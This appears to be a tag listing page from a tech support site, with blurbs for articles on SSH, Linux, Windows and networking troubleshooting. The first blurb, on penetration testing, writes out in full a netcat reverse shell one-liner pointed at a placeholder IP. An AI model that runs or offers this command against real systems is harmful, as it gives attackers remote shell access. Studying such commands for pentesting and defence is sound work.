Articles about sh | UserComp.com

Understanding Telnet Behavior in Penetration Testing: Reverse Shells in Unix

This article explains the behavior of Telnet in penetration testing, focusing on Unix systems and reverse shells. It covers a common command used in exploits: RUN rm/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ip 4444 > /tmp/f.

Understanding the Difference: Pentesting Reverse Shells in Unix vs. Telnet

This article discusses the differences between executing reverse shells in Unix and Telnet during penetration testing. It covers a non-working and working Telnet session example, providing insights into the unique aspects of each environment.

Unable to Access Internet after Changing Router: Troubleshooting SSH Connection in Proxmox

This article explains the steps to troubleshoot SSH connection issues in Proxmox when the router is changed.

Installing FFmpeg: Troubleshooting 'Install File Doesn't Work'

Experiencing issues while installing FFmpeg? Learn how to troubleshoot common problems encountered during the installation process.

Move Cursor One Word to the Left in Excel: Keyboard Shortcut

In this tech support article, we will explain how to move the cursor one word to the left in Microsoft Excel using the keyboard shortcut.

Making a Move: Fixing Weird File Ownerships After Transferring Hard Drives

Learn how to resolve file ownership issues when transferring a hard drive to another computer.

Understanding Ethernet Connection Issues: A Beginner's Guide

Struggling with Ethernet connection issues? Don't be overwhelmed. In this beginner-friendly guide, we'll help you understand the basics of Ethernet connections and provide some simple troubleshooting steps to get you back online.

SSH Key Workflow: Using SSH Keys with FileZilla, Windows CMD instead of PuTTY

Learn how to use SSH keys with FileZilla on Windows and CMD instead of PuTTY. Follow this SSH key workflow for secure file transfers.

SSH Key WorksWith FileZilla: Not PuTTY - Raspberry Pi Upgrade to Bullseye

Learn how to use SSH keys in FileZilla instead of PuTTY during the Raspberry Pi upgrade to Bullseye.

Windows Explorer Not Showing Tooltip for Files/Folders: A Solution

If you're experiencing issues with Windows Explorer not showing tooltips for files or folders on Windows 11 or Windows 10, follow these steps to resolve the problem.

Troubleshooting Legion 515ARH05 BIOS Issue: Missing Bin File

Users report an issue with the Legion 515ARH05 where the latest Lenovo EXE file fails to extract the binrom file during the BIOS update process. This article provides a suggested solution.

OpenSSH 9.6 Supports ED25519 PEM Keys for SSH

OpenSSH 9.6 introduces support for reading ED25519 private keys in PEM format for ssh(1), sshd(8), ssh-add(1), and ssh-keygen(1).

Windows 11 Sandbox Not Initializing: Troubleshooting Steps

Learn how to troubleshoot and resolve issues with the Windows 11 Sandbox not initializing. Follow these steps to get your Sandbox running.

Troubleshooting Ping Shows Received Packets with LAN Cabled Disconnected

Encountered an issue where your system is receiving ping packets despite having a disconnected LAN cable. Learn how to troubleshoot this issue by setting IP address manually.

LAN Cabled Disconnected: Pings Showing Received Packets?

Learn the reasons why your LAN-cabled device might still receive ping responses even when the cable is disconnected. Follow our step-by-step guide to resolve this issue.

Emby Media Server Unable to Access Media Files on TrueNAS SMB Share (Subdirectories)

This article discusses a common issue where Emby Media Server (version 4.8.5.0) fails to access media files stored on a TrueNAS Scaleserver SMB share, specifically with subdirectories.

High CPU Usage Detected: Solving Whitebox Pop-ups During Full-screen YouTube Playback

Experiencing frequent pop-ups with the 'High CPU Usage Detected' message while watching YouTube videos in full-screen mode? This article provides solutions for users on Edge, Chrome, and Firefox.

Understanding the Order of Shell Source Files: A Complete Overview

While researching the ordering of shell source files, we came across several sources online and even read parts of manual shells. However, the order of sourcing still confuses us.

Debian 12 gwtc116-2bk: Unable to Use Wi-Fi - Troubleshooting

This article provides a step-by-step guide to help users troubleshoot Wi-Fi connectivity issues on Debian 12 gwtc116-2bk systems. Learn how to check Wi-Fi hardware, update drivers, and configure network settings.

Using ErdFont with PowerShell on Windows 10

Learn how to use ErdFont, a font rendering engine, with PowerShell on Windows 10. This article explains the installation process and provides examples of using ErdFont's features in PowerShell.

Figuring Out Rebind Ctrl Key: A Tech Support Guide

Learn how to figure out why the Ctrl key is being rebound to the Left Arrow key and how to fix it.

SSH Port Forwarding Not Working: A Troubleshooting Guide for Fedora 39 and Linksys WRT32X Router

This article provides a step-by-step guide to troubleshoot SSH port forwarding issues when using Fedora 39 as the server and a Linksys WRT32X router with OpenWRT 23.05.x. Learn how to configure your server and router to establish a secure and functional connection.

Generate Random Number: Email Typed - Custom Text (Shell Script in Python)

Learn how to generate a random number using an email typed input in a Python shell script. This script is useful for creating unique codes or entries.

Disable MOTD on Debian 12 Systems: SSHd Config Not Updating

Users report that despite updating the SSHd config file, the Message of the Day (MOTD) is still displaying. This article explains how to disable MOTD on Debian 12 systems.

Keyboard Shortcuts to Open Different Profiles in Edge on Windows

Learn how to quickly open your Work or Personal profile in Microsoft Edge on Windows using dedicated keyboard shortcuts.

Troubleshooting Multicast Implementation in Java

Experiencing issues while implementing multicast in Java? This article provides potential solutions and insights into similar problems encountered during multicast implementation in other programming languages like Golang.

Troubleshooting Custom 802.11 Frames in WPA Handshake

This article discusses issues related to resending custom 802.11 frames during WPA handshakes, specifically focusing on modifying radiotap headers. It provides potential solutions and workarounds for users experiencing this problem.

College WiFi: Accessing Home Computer via SSH through Proxy

Learn how to access your home computer using SSH through a college WiFi proxy. Follow these steps for a successful connection.

Disable Firefox Search: A Convenient Keyboard Shortcut for Vim Users

Learn how to disable Firefox search in Vim and prevent the browser from automatically starting a search when using the Ctrl+F keyboard shortcut.

Removing (Broken) Entries: Windows 11 Apps & Features

Learn how to remove broken entries from the Apps & Features list in Windows 11.

Configuring Jenkins: Change PowerShell Core Default Terminal Size on Linux Host

Learn how to configure Jenkins to set the default terminal size for PowerShell Core on Linux hosts. This article suggests a solution found on Stack Overflow.

Possible Way to Temporarily Block Internet Connections for a Specific Application using Keyboard Hotkey

Learn how to temporarily block internet connections for a specific application using a keyboard hotkey. This can be useful for troubleshooting or focusing on work.

Access SAMBA Drive Denied: SSH Ping Working on Two Devices

This article explains a common issue where access to a SAMBA drive is denied despite a successful SSH ping between two devices. The article suggests possible causes and solutions for this problem.

Windows RDP (Host) Error Code 0x3, Extended Code 0x12: Troubleshooting on a Headless Windows 10 Setup (GT1030, Intel Core i5, Z87M-PLUS)

Experiencing issues with a Windows RDP (Remote Desktop Protocol) host error code 0x3 and extended code 0x12 on a headless Windows 10 setup with a GT1030 graphics card, Intel Core i5 processor, and Z87M-PLUS motherboard? Learn how to troubleshoot and resolve the problem.

Changing Chromebrowser Built-in Search Engine Shortcut

Learn how to change the built-in search engine shortcut in Google Chrome. The default shortcut is @bookmarks:b, but you can customize it if needed.

Linux Bash Wait Command Not Working: A Solution for Running Multiple Scripts Simultaneously

If you're trying to run multiple Bash scripts or commands simultaneously and encounter issues with the wait command not working, this article provides a solution to help you manage your processes effectively.

Windows 11: LampArray Translation Service Task Manager Interfering with Monitor Signal Cutting and Hibernation

Users have reported that Windows 11 experiences monitor signal cutting and repeated hibernation issues, which some suspect may be caused by the LampArray Translation Service Task Manager interfering with these functions. In this article, we will explore possible solutions to resolve this problem.

Windows 11/10 Network: Why aren't Computers Showing Up?

Learn how to troubleshoot and resolve issues with Windows 11/10 computers not showing up on the network. This guide covers various network configurations, including Gigabit Ethernet, DHCP servers, and workgroup settings.

Configuring Remote SSH Settings in VSCode for Developers

Learn how to configure VSCode for remote development using SSH. This article covers setting up your VSCode environment for seamless remote development experience.

Avoiding Accidental Execution of Python Scripts and Bash Scripts

Learn how to prevent accidentally executing Python scripts or Bash scripts, including forgetting the shebang line or running scripts with the wrong file name.

Troubleshooting Google Chrome: Limit Number of Custom Search Engine Shortcuts

Learn how to manage and troubleshoot the excessive number of custom search engine shortcuts in Google Chrome. Discover the possible reasons for this issue and find solutions.

Understanding the Impact of ~/.zlogout on Non-Interactive ZSH Shells

In this tech support article, we will discuss the effect of the ~/.zlogout file on non-interactive ZSH shells and explain what happens when the script contained within it is not sourced. We will also cover the contents of the script and its implications.

Articles about sh | UserComp.com | Page [ 54 ]

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